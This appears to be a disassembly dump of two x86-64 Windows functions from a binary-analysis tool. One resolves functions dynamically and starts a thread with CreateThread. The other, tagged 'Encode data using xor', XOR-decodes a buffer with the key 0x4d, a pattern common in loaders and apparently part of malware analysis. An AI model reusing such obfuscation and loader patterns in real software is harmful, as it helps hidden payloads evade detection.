mov r8d, dword [rdx + 0x24]
mov rdx, qword [rsi + 0x28]
call fcn.2d9e3bf3c0
mov rcx, rsi
call fcn.2d9e3c0ad0
mov rcx, qword [rsi + 0x48]
cmp qword [rcx + 8], r14
je 0x2d9e3c0a1b
mov qword [rsp + 0x40], rbx
lea rdx, [0x2d9e408e14]
mov qword [rsp + 0x48], rbp
call fcn.2d9e3bf560
mov rbp, rax
test rax, rax
je 0x2d9e3c0996
mov qword [rsp + 0x50], rdi
call fcn.2d9e3b70c0
mov rdi, rax
call fcn.2d9e3b70c0
mov rbx, rax
call fcn.2d9e3b70c0
mov r8, qword [rdi + 0x30]
lea rdx, [rbx + 8]
mov ecx, dword [rax + 0x3c]
call rbp
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x48]
lea rdx, [0x2d9e408e1c]
call fcn.2d9e3bf560
mov rbp, qword [rsp + 0x48]
mov rbx, rax
test rax, rax
je 0x2d9e3c09bd
call fcn.2d9e3b70c0
mov rcx, rax
call rbx
cmp dword [rsi + 0x34], 2
mov rbx, qword [rsp + 0x40]
jne 0x2d9e3c09e9
mov rcx, qword [rsi + 0x48]
test rcx, rcx
je 0x2d9e3c09e9
lea rdx, [0x2d9e408e24]
call fcn.2d9e3bf560
test rax, rax
je 0x2d9e3c09e9
mov ecx, 1
call rax
mov qword [rsp + 0x28], r14
lea r8, [0x2d9e3c06d0]
mov r9, rsi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, qword [rsp + 0x58]
mov qword [rsi + 0x38], rax
mov eax, 1
add rsp, 0x30
pop rsi
ret
xor eax, eax
mov r14, qword [rsp + 0x58]
add rsp, 0x30
pop rsi
ret

Function at 0x2d9e3c0ad0
Capabilities:
Encode data using xor

Disassembly:
cmp qword [rcx + 0x28], 0
mov r8, rcx
je 0x2d9e3c0b02
mov rax, qword [rcx]
mov ecx, dword [rax + 0x24]
test ecx, ecx
je 0x2d9e3c0b02
xor eax, eax
test ecx, ecx
je 0x2d9e3c0b02
nop word [rax + rax]
mov rcx, qword [r8 + 0x28]
xor byte [rax + rcx], 0x4d
inc eax
mov rcx, qword [r8]
cmp eax, dword [rcx + 0x24]
jb 0x2d9e3c0af0
ret